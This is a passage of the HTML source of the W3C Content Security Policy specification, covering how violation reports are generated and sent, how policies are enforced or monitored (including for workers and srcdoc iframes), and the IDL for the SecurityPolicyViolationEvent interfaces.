id=\"violation-report-source-file\"><a class=\"self-link\" href=\"#violation-report-source-file\"></a><dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"source_file\">source-file<a class=\"self-link\" href=\"#source_file\"></a></dfn>\n        \n          \n        <dd>The URL of the resource where the violation occurred,\n          <a data-link-type=\"dfn\" href=\"#strip-uri-for-reporting\">stripped for reporting</a>.\n        \n\n          \n        <dt id=\"violation-report-line-number\"><a class=\"self-link\" href=\"#violation-report-line-number\"></a>line-number\n        \n          \n        <dd>The line number in <code><a data-link-type=\"dfn\" href=\"#source_file\">source-file</a></code> on which\n          the violation occurred.\n        \n\n          \n        <dt id=\"violation-report-column-number\"><a class=\"self-link\" href=\"#violation-report-column-number\"></a>column-number\n        \n          \n        <dd>The column number in <code><a data-link-type=\"dfn\" href=\"#source_file\">source-file</a></code> on which\n          the violation occurred.\n        \n        \n       </dl>\n       \n      \n      \n      \n      <li>Return <var>violation</var>.\n      \n    \n     </ol>\n     \n\n\n     <p class=\"note\" role=\"note\">Note: <code>blocked-uri</code> will not contain the final location of a\n    resource that was blocked after one or more redirects. It instead will\n    contain only the location that the protected resource requested, before\n    any redirects were followed.</p>\n     \n\n\n     <p>To <dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"send-violation-reports\">send violation reports<a class=\"self-link\" href=\"#send-violation-reports\"></a></dfn>, the user agent MUST use an\n    algorithm equivalent to the following:</p>\n     \n\n    \n     <ol>\n      \n      <li>Prepare a <a data-link-type=\"dfn\" href=\"#json-object\">JSON object</a> <var>report object</var> with a single\n      key, <code>csp-report</code>, whose value is the result of <a data-link-type=\"dfn\" href=\"#generate-a-violation-report-object\">generating\n      a violation report object</a>.\n      \n\n      \n      <li>Let <var>report body</var> be the <a data-link-type=\"dfn\" href=\"#json-stringification\">JSON stringification</a> of\n      <var>report object</var>.\n      \n\n      \n      <li>For each <var>report URL</var> in the <a data-link-type=\"dfn\" href=\"#set-of-report-urls\">set of report URLs</a>:\n        \n       <ol>\n          \n        <li>If the user agent has already sent a violation report for\n          the protected resource to <var>report URL</var>, and that report\n          contained an entity body that exactly matches\n          <var>report body</var>, the user agent MAY abort these\n          steps and continue to the next <var>report URL</var>.\n        \n\n          \n        <li><a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/webappapis.html#queue-a-task\">Queue a task</a> to <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/infrastructure.html#fetch\">fetch</a>\n          <var>report URL</var> from the origin of the protected resource,\n          with the synchronous flag <em>not</em> set, using HTTP method\n          <code>POST</code>, with a <code>Content-Type</code> header field\n          of <code>application/csp-report</code>, and an entity body\n          consisting of <var>report body</var>. If the origin of\n          <var>report URL</var> is <strong>not</strong> the same as the\n          origin of the protected resource, the block cookies flag MUST also\n          be set. The user agent MUST NOT follow redirects when fetching this\n          resource. (Note: The user agent ignores the fetched resource.)\n          The <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/webappapis.html#task-source\">task source</a> for these\n          <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/webappapis.html#concept-task\">tasks</a> is the <dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"content-security-policy-task-source\">Content Security Policy task\n          source<a class=\"self-link\" href=\"#content-security-policy-task-source\"></a></dfn>.\n        \n        \n       </ol>\n       \n      \n      \n    \n     </ol>\n     \n\n\n     <p>To <dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"report-a-violation\">report a violation<a class=\"self-link\" href=\"#report-a-violation\"></a></dfn>, the user agent MUST:</p>\n     \n\n    \n     <ol>\n      \n      <li><a data-link-type=\"dfn\" href=\"#fire-a-violation-event\">Fire a violation event</a> at the protected resource’s\n      <code><a class=\"idl-code\" data-link-type=\"interface\" href=\"http://www.w3.org/TR/dom/#interface-document\">Document</a></code>.\n      \n\n      \n      <li>If the <a data-link-type=\"dfn\" href=\"#set-of-report-urls\">set of report URLs</a> is non-empty, <a data-link-type=\"dfn\" href=\"#send-violation-reports\">send violation\n      reports</a> to each.\n      \n    \n     </ol>\n     \n\n\n     <p class=\"note\" role=\"note\">Note: This section of the specification should not be interpreted\n    as limiting user agents' ability to apply restrictions to violation\n    reports in order to limit data leakage above and beyond what these\n    algorithms specify. For example, a user agent might offer users the\n    option of disabling reporting entirely.</p>\n     \n  \n    </section>\n</section>\n\n\n   <section>\n  \n    <h2 class=\"heading settled\" data-level=\"5\" id=\"processing-model\"><span class=\"secno\">5. </span><span class=\"content\">Processing Model</span><a class=\"self-link\" href=\"#processing-model\"></a></h2>\n\n\n    <p>To <dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"enforce\">enforce<a class=\"self-link\" href=\"#enforce\"></a></dfn> a policy, the user agent MUST <a data-link-type=\"dfn\" href=\"#parse-the-policy\">parse the policy</a>\n  and enforce each of the directives contained in the policy, where the\n  specific requirements for enforcing each directive are defined separately\n  for each directive (See <a href=\"#directives\">§7 Directives</a>, below).</p>\n\n\n    <p>Generally speaking, enforcing a directive prevents the protected\n  resource from performing certain actions, such as loading scripts from\n  URLs other than those indicated in a source list. These restrictions\n  make it more difficult for an attacker to abuse an injection\n  vulnerability in the resource because the attacker will be unable to\n  usurp the resource’s privileges that have been restricted in this\n  way.</p>\n\n\n    <p class=\"note\" role=\"note\">Note: User agents may allow users to modify or bypass policy enforcement\n  through user preferences, bookmarklets, third-party additions to the user\n  agent, and other such mechanisms.</p>\n\n\n    <p>To <dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"monitor\">monitor<a class=\"self-link\" href=\"#monitor\"></a></dfn> a policy, the user agent MUST <a data-link-type=\"dfn\" href=\"#parse-the-policy\">parse the policy</a>\n  and monitor each of the directives contained in the policy.</p>\n\n\n    <p>Monitoring a directive does not prevent the protected resource from\n  undertaking any actions. Instead, any actions that would have been\n  prevented by the directives are allowed, but a violation report is\n  <a data-link-type=\"dfn\" href=\"#report-a-violation\">generated and reported</a> to the\n  developer of the web application. Monitoring a policy is useful for\n  testing whether enforcing the policy will cause the web application to\n  malfunction.</p>\n\n\n    <p>A server MAY cause user agents to monitor one policy while enforcing\n  another policy by returning both <code><a data-link-type=\"dfn\" href=\"#content_security_policy\">Content-Security-Policy</a></code>\n  and <code><a data-link-type=\"dfn\" href=\"#content_security_policy_report_only\">Content-Security-Policy-Report-Only</a></code> header fields.\n  For example, if a server operator may wish to <a data-link-type=\"dfn\" href=\"#enforce\">enforce</a> one policy but\n  experiment with a stricter policy, she can monitor the stricter policy while\n  enforcing the original policy. Once the server operator is satisfied that\n  the stricter policy does not break the web application, the server operator\n  can start enforcing the stricter policy.</p>\n\n\n    <p>If the user agent monitors or enforces a policy that does not contain any\n  directives, the user agent SHOULD report a warning message in the\n  developer console.</p>\n\n\n    <p>If the user agent <a data-link-type=\"dfn\" href=\"#monitor\">monitors</a> or <a data-link-type=\"dfn\" href=\"#enforce\">enforces</a> a policy that contains\n  an unrecognized directive, the user agent SHOULD report a warning message\n  in the developer console indicating the name of the unrecognized directive.</p>\n\n\n    <p>If the user agent <a data-link-type=\"dfn\" href=\"#monitor\">monitors</a> or <a data-link-type=\"dfn\" href=\"#enforce\">enforces</a> a policy that contains\n  a directive that contains a <a data-link-type=\"dfn\" href=\"#source-list\">source list</a>, then the user agent MUST set\n  a <code><a data-link-type=\"dfn\" href=\"#csp\">CSP</a></code> Request Header when requesting cross-origin\n  resources, as described in <a href=\"#csp-request-header\">§3.4 The CSP HTTP Request Header</a>.</p>\n\n  \n    <section>\n    \n     <h3 class=\"heading settled\" data-level=\"5.1\" id=\"processing-model-workers\"><span class=\"secno\">5.1. </span><span class=\"content\">Workers</span><a class=\"self-link\" href=\"#processing-model-workers\"></a></h3>\n     \n\n\n     <p>Whenever a user agent <a data-link-type=\"dfn\" href=\"#runs-a-worker\">runs a worker</a>:</p>\n     \n\n    \n     <ul>\n      \n      <li>If the worker’s script’s origin is a <a data-link-type=\"dfn\" href=\"#globally-unique-identifier\">globally unique identifier</a>\n      (for example, the worker’s script’s URL has a scheme of\n      <code>data</code>, <code>blob</code>, or <code>filesystem</code>), then:\n      \n       <ul>\n        \n        <li>If the user agent is enforcing a CSP policy for the <var>owner\n        document</var> or <var>parent worker</var>, the user agent MUST enforce\n        the CSP policy for the worker.\n        \n\n        \n        <li>If the user agent is monitoring a CSP policy for the <var>owner\n        document</var> or <var>parent worker</var>, the user agent MUST monitor\n        the CSP policy for the worker.\n        \n      \n       </ul>\n      \n      \n      <li>Otherwise:\n        \n       <ul>\n          \n        <li>If the worker’s script is delivered with a\n          <code>Content-Security-Policy</code> HTTP header containing the\n          value <var>policy</var>, the user agent MUST <a data-link-type=\"dfn\" href=\"#enforce\">enforce</a>\n          <var>policy</var> for the worker.\n        \n\n          \n        <li>If the worker’s script is delivered with a\n          <code>Content-Security-Policy-Report-Only</code> HTTP header\n          containing the value <var>policy</var>, the user agent MUST\n          <a data-link-type=\"dfn\" href=\"#monitor\">monitor</a> <var>policy</var> for the worker.\n        \n        \n       </ul>\n       \n      \n      \n    \n     </ul>\n     \n  \n    </section>\n\n  \n    <section>\n    \n     <h3 class=\"heading settled\" data-level=\"5.2\" id=\"processing-model-iframe-srcdoc\"><span class=\"secno\">5.2. </span><span class=\"content\"><code>srcdoc</code> IFrames</span><a class=\"self-link\" href=\"#processing-model-iframe-srcdoc\"></a></h3>\n     \n\n\n     <p>Whenever a user agent creates <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/embedded-content-0.html#an-iframe-srcdoc-document\">an <code>iframe</code>\n    <code>srcdoc</code> document</a> in a browsing context nested in the\n    protected resource, if the user agent is <a data-link-type=\"dfn\" href=\"#enforce\">enforcing</a> any <a data-link-type=\"dfn\" href=\"#security-policy\">policies</a>\n    for the protected resource, the user agent MUST <a data-link-type=\"dfn\" href=\"#enforce\">enforce</a> those\n    <a data-link-type=\"dfn\" href=\"#security-policy\">policies</a> on the <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/embedded-content-0.html#the-iframe-element\">iframe</a></code> <code>srcdoc</code> document as well.</p>\n     \n\n\n     <p>Whenever a user agent creates <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/embedded-content-0.html#an-iframe-srcdoc-document\">an <code>iframe</code>\n    <code>srcdoc</code> document</a> in a browsing context nested in the\n    protected resource, if the user agent is monitoring any policies for the\n    protected resource, the user agent MUST <a data-link-type=\"dfn\" href=\"#monitor\">monitor</a> those policies on\n    the <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/embedded-content-0.html#the-iframe-element\">iframe</a></code> <code>srcdoc</code> document as well.</p>\n     \n  \n    </section>\n</section>\n\n\n   <section>\n  \n    <h2 class=\"heading settled\" data-level=\"6\" id=\"script-interfaces\"><span class=\"secno\">6. </span><span class=\"content\">Script Interfaces</span><a class=\"self-link\" href=\"#script-interfaces\"></a></h2>\n\n  \n    <section>\n    \n     <h3 class=\"heading settled\" data-level=\"6.1\" id=\"securitypolicyviolationevent-interface\"><span class=\"secno\">6.1. </span><span class=\"content\">\n      <code>SecurityPolicyViolationEvent</code> Interface\n    </span><a class=\"self-link\" href=\"#securitypolicyviolationevent-interface\"></a></h3>\n     \n\n    \n     <pre class=\"idl\">[<dfn class=\"idl-code\" data-dfn-for=\"SecurityPolicyViolationEvent\" data-dfn-type=\"constructor\" data-export=\"\" data-global-name=\"SecurityPolicyViolationEvent<interface>/SecurityPolicyViolationEvent(type, eventInitDict)<constructor>\" data-lt=\"SecurityPolicyViolationEvent(type, eventInitDict)\" id=\"dom-securitypolicyviolationevent-securitypolicyviolationeventtype-eventinitdict\">Constructor<a class=\"self-link\" href=\"#dom-securitypolicyviolationevent-securitypolicyviolationeventtype-eventinitdict\"></a></dfn>(DOMString <dfn class=\"idl-code\" data-dfn-for=\"SecurityPolicyViolationEvent/SecurityPolicyViolationEvent(type, eventInitDict)\" data-dfn-type=\"argument\" data-export=\"\" data-global-name=\"SecurityPolicyViolationEvent<interface>/SecurityPolicyViolationEvent(type, eventInitDict)<method>/type<argument>\" id=\"dom-securitypolicyviolationevent-securitypolicyviolationeventtype-eventinitdict-type\">type<a class=\"self-link\" href=\"#dom-securitypolicyviolationevent-securitypolicyviolationeventtype-eventinitdict-type\"></a></dfn>, optional <a data-link-type=\"idl-name\" href=\"#dictdef-securitypolicyviolationeventinit\">SecurityPolicyViolationEventInit</a> <dfn class=\"idl-code\" data-dfn-for=\"SecurityPolicyViolationEvent/SecurityPolicyViolationEvent(type, eventInitDict)\" data-dfn-type=\"argument\" data-export=\"\" data-global-name=\"SecurityPolicyViolationEvent<interface>/SecurityPolicyViolationEvent(type, eventInitDict)<method>/eventInitDict<argument>\" id=\"dom-securitypolicyviolationevent-securitypolicyviolationeventtype-eventinitdict-eventinitdict\">eventInitDict<a class=\"self-link\" href=\"#dom-securitypolicyviolationevent-securitypolicyviolationeventtype-eventinitdict-eventinitdict\"></a></dfn>)]\ninterface <dfn class=\"idl-code\" data-dfn-type=\"interface\" data-export=\"\" data-global-name=\"\" id=\"securitypolicyviolationevent\">SecurityPolicyViolationEvent<a class=\"self-link\" href=\"#securitypolicyviolationevent\"></a></dfn> : <a data-link-type=\"idl-name\" href=\"http://www.w3.org/TR/dom/#event\">Event</a> {\n    readonly    attribute DOMString <a class=\"idl-code\" data-global-name=\"SecurityPolicyViolationEvent<interface>/documentURI<attribute>\" data-link-type=\"attribute\" data-readonly=\"\" data-type=\"DOMString \" href=\"#dom-securitypolicyviolationevent-documenturi\">documentURI</a>;\n    readonly    attribute DOMString <a class=\"idl-code\" data-global-name=\"SecurityPolicyViolationEvent<interface>/referrer<attribute>\" data-link-type=\"attribute\" data-readonly=\"\" data-type=\"DOMString \" href=\"#dom-securitypolicyviolationevent-referrer\">referrer</a>;\n    readonly    attribute DOMString <a class=\"idl-code\" data-global-name=\"SecurityPolicyViolationEvent<interface>/blockedURI<attribute>\" data-link-type=\"attribute\" data-readonly=\"\" data-type=\"DOMString \" href=\"#dom-securitypolicyviolationevent-blockeduri\">blockedURI</a>;\n    readonly    attribute DOMString <a class=\"idl-code\" data-global-name=\"SecurityPolicyViolationEvent<interface>/violatedDirective<attribute>\" data-link-type=\"attribute\" data-readonly=\"\" data-type=\"DOMString \" href=\"#dom-securitypolicyviolationevent-violateddirective\">violatedDirective</a>;\n    readonly    attribute DOMString <a class=\"idl-code\" data-global-name=\"SecurityPolicyViolationEvent<interface>/effectiveDirective<attribute>\" data-link-type=\"attribute\" data-readonly=\"\" data-type=\"DOMString \" href=\"#dom-securitypolicyviolationevent-effectivedirective\">effectiveDirective</a>;\n    readonly    attribute DOMString <a class=\"idl-code\" data-global-name=\"SecurityPolicyViolationEvent<interface>/originalPolicy<attribute>\" data-link-type=\"attribute\" data-readonly=\"\" data-type=\"DOMString \" href=\"#dom-securitypolicyviolationevent-originalpolicy\">originalPolicy</a>;\n    readonly    attribute DOMString <a class=\"idl-code\" data-global-name=\"SecurityPolicyViolationEvent<interface>/sourceFile<attribute>\" data-link-type=\"attribute\" data-readonly=\"\" data-type=\"DOMString \" href=\"#dom-securitypolicyviolationevent-sourcefile\">sourceFile</a>;\n    readonly    attribute DOMString <a class=\"idl-code\" data-global-name=\"SecurityPolicyViolationEvent<interface>/statusCode<attribute>\" data-link-type=\"attribute\" data-readonly=\"\" data-type=\"DOMString \" href=\"#dom-securitypolicyviolationevent-statuscode\">statusCode</a>;\n    readonly    attribute long      <a class=\"idl-code\" data-global-name=\"SecurityPolicyViolationEvent<interface>/lineNumber<attribute>\" data-link-type=\"attribute\" data-readonly=\"\" data-type=\"long      \" href=\"#dom-securitypolicyviolationevent-linenumber\">lineNumber</a>;\n    readonly    attribute long      <a class=\"idl-code\" data-global-name=\"SecurityPolicyViolationEvent<interface>/columnNumber<attribute>\" data-link-type=\"attribute\" data-readonly=\"\" data-type=\"long      \" href=\"#dom-securitypolicyviolationevent-columnnumber\">columnNumber</a>;\n};\n</pre>\n     \n    \n     <dl>\n      \n      <dt><dfn class=\"idl-code\" data-dfn-for=\"SecurityPolicyViolationEvent\" data-dfn-type=\"attribute\" data-export=\"\" id=\"dom-securitypolicyviolationevent-documenturi\">documentURI<a class=\"self-link\" href=\"#dom-securitypolicyviolationevent-documenturi\"></a></dfn>, <span> of type <a data-link-type=\"idl-name\" href=\"https://heycam.github.io/webidl/#idl-DOMString\">DOMString</a>, readonly</span>\n      \n      \n      <dd>Refer to the <a href=\"#violation-report-document-uri\"><code>document-uri</code></a> property of violation reports for a description of this property.\n      \n      \n      <dt><dfn class=\"idl-code\" data-dfn-for=\"SecurityPolicyViolationEvent\" data-dfn-type=\"attribute\" data-export=\"\" id=\"dom-securitypolicyviolationevent-referrer\">referrer<a class=\"self-link\" href=\"#dom-securitypolicyviolationevent-referrer\"></a></dfn>, <span> of type <a data-link-type=\"idl-name\" href=\"https://heycam.github.io/webidl/#idl-DOMString\">DOMString</a>, readonly</span>\n      \n      \n      <dd>Refer to the <a href=\"#violation-report-referrer\"><code>referrer</code></a> property of violation reports for a description of this property.\n      \n      \n      <dt><dfn class=\"idl-code\" data-dfn-for=\"SecurityPolicyViolationEvent\" data-dfn-type=\"attribute\" data-export=\"\" id=\"dom-securitypolicyviolationevent-blockeduri\">blockedURI<a class=\"self-link\" href=\"#dom-securitypolicyviolationevent-blockeduri\"></a></dfn>, <span> of type <a data-link-type=\"idl-name\" href=\"https://heycam.github.io/webidl/#idl-DOMString\">DOMString</a>, readonly</span>\n      \n      \n      <dd>Refer to the <a href=\"#violation-report-blocked-uri\"><code>blocked-uri</code></a> property of violation reports for a description of this property.\n      \n      \n      <dt><dfn class=\"idl-code\" data-dfn-for=\"SecurityPolicyViolationEvent\" data-dfn-type=\"attribute\" data-export=\"\" id=\"dom-securitypolicyviolationevent-violateddirective\">violatedDirective<a class=\"self-link\" href=\"#dom-securitypolicyviolationevent-violateddirective\"></a></dfn>, <span> of type <a data-link-type=\"idl-name\" href=\"https://heycam.github.io/webidl/#idl-DOMString\">DOMString</a>, readonly</span>\n      \n      \n      <dd>Refer to the <a href=\"#violation-report-violated-directive\"><code>violated-directive</code></a> property of violation reports for a description of this property.\n      \n      \n      <dt><dfn class=\"idl-code\" data-dfn-for=\"SecurityPolicyViolationEvent\" data-dfn-type=\"attribute\" data-export=\"\" id=\"dom-securitypolicyviolationevent-effectivedirective\">effectiveDirective<a class=\"self-link\" href=\"#dom-securitypolicyviolationevent-effectivedirective\"></a></dfn>, <span> of type <a data-link-type=\"idl-name\" href=\"https://heycam.github.io/webidl/#idl-DOMString\">DOMString</a>, readonly</span>\n      \n      \n      <dd>Refer to the <a href=\"#violation-report-effective-directive\"><code>effective-directive</code></a> property of violation reports for a description of this property.\n      \n      \n      <dt><dfn class=\"idl-code\" data-dfn-for=\"SecurityPolicyViolationEvent\" data-dfn-type=\"attribute\" data-export=\"\" id=\"dom-securitypolicyviolationevent-originalpolicy\">originalPolicy<a class=\"self-link\" href=\"#dom-securitypolicyviolationevent-originalpolicy\"></a></dfn>, <span> of type <a data-link-type=\"idl-name\" href=\"https://heycam.github.io/webidl/#idl-DOMString\">DOMString</a>, readonly</span>\n      \n      \n      <dd>Refer to the <a href=\"#violation-report-original-policy\"><code>original-policy</code></a> property of violation reports for a description of this property.\n      \n      \n      <dt><dfn class=\"idl-code\" data-dfn-for=\"SecurityPolicyViolationEvent\" data-dfn-type=\"attribute\" data-export=\"\" id=\"dom-securitypolicyviolationevent-statuscode\">statusCode<a class=\"self-link\" href=\"#dom-securitypolicyviolationevent-statuscode\"></a></dfn>, <span> of type <a data-link-type=\"idl-name\" href=\"https://heycam.github.io/webidl/#idl-DOMString\">DOMString</a>, readonly</span>\n      \n      \n      <dd>Refer to the <a href=\"#violation-report-status-code\"><code>status-code</code></a> property of violation reports for a description of this property.\n      \n      \n      <dt><dfn class=\"idl-code\" data-dfn-for=\"SecurityPolicyViolationEvent\" data-dfn-type=\"attribute\" data-export=\"\" id=\"dom-securitypolicyviolationevent-sourcefile\">sourceFile<a class=\"self-link\" href=\"#dom-securitypolicyviolationevent-sourcefile\"></a></dfn>, <span> of type <a data-link-type=\"idl-name\" href=\"https://heycam.github.io/webidl/#idl-DOMString\">DOMString</a>, readonly</span>\n      \n      \n      <dd>Refer to the <a href=\"#violation-report-source-file\"><code>source-file</code></a> property of violation reports for a description of this property.\n      \n      \n      <dt><dfn class=\"idl-code\" data-dfn-for=\"SecurityPolicyViolationEvent\" data-dfn-type=\"attribute\" data-export=\"\" id=\"dom-securitypolicyviolationevent-linenumber\">lineNumber<a class=\"self-link\" href=\"#dom-securitypolicyviolationevent-linenumber\"></a></dfn>, <span> of type <a data-link-type=\"idl-name\" href=\"https://heycam.github.io/webidl/#idl-long\">long</a>, readonly</span>\n      \n      \n      <dd>Refer to the <a href=\"#violation-report-line-number\"><code>line-number</code></a> property of violation reports for a description of this property.\n      \n      \n      <dt><dfn class=\"idl-code\" data-dfn-for=\"SecurityPolicyViolationEvent\" data-dfn-type=\"attribute\" data-export=\"\" id=\"dom-securitypolicyviolationevent-columnnumber\">columnNumber<a class=\"self-link\" href=\"#dom-securitypolicyviolationevent-columnnumber\"></a></dfn>, <span> of type <a data-link-type=\"idl-name\" href=\"https://heycam.github.io/webidl/#idl-long\">long</a>, readonly</span>\n      \n      \n      <dd>Refer to the <a href=\"#violation-report-column-number\"><code>column-number</code></a> property of violation reports for a description of this property.\n      \n    \n     </dl>\n     \n  \n    </section>\n  \n    <section>\n    \n     <h3 class=\"heading settled\" data-level=\"6.2\" id=\"securitypolicyviolationeventinit-interface\"><span class=\"secno\">6.2. </span><span class=\"content\">\n      <code>SecurityPolicyViolationEventInit</code> Interface\n    </span><a class=\"self-link\" href=\"#securitypolicyviolationeventinit-interface\"></a></h3>\n     \n\n    \n     <pre class=\"idl\">dictionary <dfn class=\"idl-code\" data-dfn-type=\"dictionary\" data-export=\"\" data-global-name=\"\" id=\"dictdef-securitypolicyviolationeventinit\">SecurityPolicyViolationEventInit<a class=\"self-link\" href=\"#dictdef-securitypolicyviolationeventinit\"></a></dfn> : <a data-link-type=\"idl-name\" href=\"http://www.w3.org/TR/dom/#eventinit\">EventInit</a> {\n    DOMString <a class=\"idl-code\" data-global-name=\"SecurityPolicyViolationEventInit<dictionary>/documentURI<dict-member>\" data-link-type=\"dict-member\" data-type=\"DOMString \" href=\"#dom-securitypolicyviolationeventinit-documenturi\">documentURI</a>;\n    DOMString <a class=\"idl-code\" data-global-name=\"SecurityPolicyViolationEventInit<dictionary>/referrer<dict-member>\" data-link-type=\"dict-member\" data-type=\"DOMString \" href=\"#dom-securitypolicyviolationeventinit-referrer\">referrer</a>;\n    DOMString <a class=\"idl-code\" data-global-name=\"SecurityPolicyViolationEventInit<dictionary>/blockedURI<dict-member>\" data-link-type=\"dict-member\" data-type=\"DOMString \" href=\"#dom-securitypolicyviolationeventinit-blockeduri\">blockedURI</a>;\n    DOMString <a class=\"idl-code\" data-global-name=\"SecurityPolicyViolationEventInit<dictionary>/violatedDirective<dict-member>\" data-link-type=\"dict-member\" data-type=\"DOMString \" href=\"#dom-securitypolicyviolationeventinit-violateddirective\">violatedDirective</a>;\n    DOMString <a class=\"idl-code\" data-global-name=\"SecurityPolicyViolationEventInit<dictionary>/effectiveDirective<dict-member>\" data-link-type=\"dict-member\" data-type=\"DOMString \" href=\"#dom-securitypolicyviolationeventinit-effectivedirective\">effectiveDirective</a>;\n    DOMString <a class=\"idl-code\" data-global-name=\"SecurityPolicyViolationEventInit<dictionary>/originalPolicy<dict-member>\" data-link-type=\"dict-member\" data-type=\"DOMString \" href=\"#dom-securitypolicyviolationeventinit-originalpolicy\">originalPolicy</a>;\n    DOMString <a class=\"idl-code\" data-global-name=\"SecurityPolicyViolationEventInit<dictionary>/sourceFile<dict-member>\" data-link-type=\"dict-member\" data-type=\"DOMString \" href=\"#dom-securitypolicyviolationeventinit-sourcefile\">sourceFile</a>;\n    long      <a class=\"idl-code\" data-global-name=\"SecurityPolicyViolationEventInit<dictionary>/lineNumber<dict-member>\" data-link-type=\"dict-member\" data-type=\"long      \" href=\"#dom-securitypolicyviolationeventinit-linenumber\">lineNumber</a>;\n    long      <a class=\"idl-code\" data-global-name=\"SecurityPolicyViolationEventInit<dictionary>/columnNumber<dict-member>\" data-link-type=\"dict-member\" data-type=\"long      \" href=\"#dom-securitypolicyviolationeventinit-columnnumber\">columnNumber</a>;\n};\n</pre>\n     \n    \n     <dl>\n      \n      <dt><dfn class=\"idl-code\" data-dfn-for=\"SecurityPolicyViolationEventInit\" data-dfn-type=\"dict-member\" data-export=\"\" id=\"dom-securitypolicyviolationeventinit-documenturi\">documentURI<a class=\"self-link\" href=\"#dom-securitypolicyviolationeventinit-documenturi\"></a></dfn>, <span> of type <a data-link-type=\"idl-name\" href=\"https://heycam.github.io/webidl/#idl-DOMString\">DOMString</a></span>\n      \n      \n      <dd>Refer to the <a href=\"#violation-report-document-uri\"><code>document-uri</code></a> property of violation reports for a description of this property.\n      \n      \n      <dt><dfn class=\"idl-code\" data-dfn-for=\"SecurityPolicyViolationEventInit\" data-dfn-type=\"dict-member\" data-export=\"\" id=\"dom-securitypolicyviolationeventinit-referrer\">referrer<a class=\"self-link\" href=\"#dom-securitypolicyviolationeventinit-referrer\"></a></dfn>, <span> of type <a data-link-type=\"idl-name\" href=\"https://heycam.github.io/webidl/#idl-DOMString\">DOMString</a></span>\n      \n      \n      <dd>Refer to the <a href=\"#violation-report-referrer\"><code>referrer</code></a> property of violation reports for a description of this property.\n      \n      \n      <dt><dfn class=\"idl-code\" data-dfn-for=\"SecurityPolicyViolationEventInit\" data-dfn-type=\"dict-member\" data-export=\"\" id=\"dom-securitypolicyviolationeventinit-blockeduri\">blockedURI<a class=\"self-link\" href=\"#dom-securitypolicyviolationeventinit-blockeduri\"></a></dfn>, <span> of type <a data-link-type=\"idl-name\" href=\"https://heycam.github.io/webidl/#idl-DOMString\">DOMString</a></span>\n      \n      \n      <dd>Refer to the <a href=\"#violation-report-blocked-uri\"><code>blocked-uri</code></a> property of violation reports for a description of this property.\n      \n      \n      <dt><dfn class=\"idl-code\" data-dfn-for=\"SecurityPolicyViolationEventInit\" data-dfn-type=\"dict-member\" data-export=\"\" id=\"dom-securitypolicyviolationeventinit-violateddirective\">violatedDirective<a class=\"self-link\" href=\"#dom-securitypolicyviolationeventinit-violateddirective\"></a></dfn>, <span> of type <a data-link-type=\"idl-name\" href=\"https://heycam.github.io/webidl/#idl-DOMString\">DOMString</a></span>\n      \n      \n      <dd>Refer to the <a href=\"#violation-report-violated-directive\"><code>violated-directive</code></a> property of violation reports for a description of this property.\n      \n      \n      <dt><dfn class=\"idl-code\" data-dfn-for=\"SecurityPolicyViolationEventInit\" data-dfn-type=\"dict-member\" data-export=\"\" id=\"dom-securitypolicyviolationeventinit-effectivedirective\">effectiveDirective<a class=\"self-link\" href=\"#dom-securitypolicyviolationeventinit-effectivedirective\"></a></dfn>, <span> of type <a data-link-type=\"idl-name\" href=\"https://heycam.github.io/webidl/#idl-DOMString\">DOMString</a></span>\n      \n      \n      <dd>Refer to the <a href=\"#violation-report-effective-directive\"><code>effective-directive</code></a> property of violation reports for a description of this property.\n      \n      \n      <dt><dfn class=\"idl-code\" data-dfn-for=\"SecurityPolicyViolationEventInit\" data-dfn-type=\"dict-member\" data-export=\"\" id=\"dom-securitypolicyviolationeventinit-originalpolicy\">originalPolicy<a class=\"self-link\" href=\"#dom-securitypolicyviolationeventinit-originalpolicy\"></a></dfn>, <span> of type <a data-link-type=\"idl-name\" href=\"https://heycam.github.io/webidl/#idl-DOMString\">DOMString</a></span>\n      \n      \n      <dd>Refer to the <a href=\"#violation-report-original-policy\"><code>original-policy</code></a> property of violation reports for a description of this property.\n      \n      \n      <dt><dfn class=\"idl-code\" data-dfn-for=\"SecurityPolicyViolationEventInit\" data-dfn-type=\"dict-member\" data-export=\"\" id=\"dom-securitypolicyviolationeventinit-sourcefile\">sourceFile<a class=\"self-link\" href=\"#dom-securitypolicyviolationeventinit-sourcefile\"></a></dfn>, <span> of type <a data-link-type=\"idl-name\" href=\"https://heycam.github.io/webidl/#idl-DOMString\">DOMString</a></span>\n      \n      \n      <dd>Refer to the <a href=\"#violation-report-source-file\"><code>source-file</code></a> property of violation reports for a description of this property.\n      \n      \n      <dt><dfn class=\"idl-code\" data-dfn-for=\"SecurityPolicyViolationEventInit\" data-dfn-type=\"dict-member\" data-export=\"\" id=\"dom-securitypolicyviolationeventinit-linenumber\">lineNumber<a class=\"self-link\" href=\"#dom-securitypolicyviolationeventinit-linenumber\"></a></dfn>, <span> of type <a data-link-type=\"idl-name\" href=\"https://heycam.github.io/webidl/#idl-long\">long</a></span>\n      \n      \n      <dd>Refer to the <a href=\"#violation-report-line-number\"><code>line-number</code></a> property of violation reports for a description of this property.\n      \n      \n      <dt><dfn class=\"idl-code\" data-dfn-for=\"SecurityPolicyViolationEventInit\" data-dfn-type=\"dict-member\" data-export=\"\" id=\"dom-securitypolicyviolationeventinit-columnnumber\">columnNumber<a class=\"self-link\" href=\"#dom-securitypolicyviolationeventinit-columnnumber\"></a></dfn>, <span> of type <a data-link-type=\"idl-name\" href=\"https://heycam.github.io/webidl/#idl-long\">long</a></span>\n      \n      \n      <dd>Refer to the <a href=\"#violation-report-column-number\"><code>column-number</code></a> property of violation reports for a description of this property.\n      \n    \n     </dl>\n     \n  \n    </section>\n  \n    <section>\n    \n     <h3 class=\"heading settled\" data-level=\"6.3\" id=\"firing-securitypolicyviolationevent-events\"><span class=\"secno\">6.3. </span><span class=\"content\">Firing Violation Events</span><a class=\"self-link\" href=\"#firing-securitypolicyviolationevent-events\"></a></h3>\n     \n\n\n     <p>To <dfn 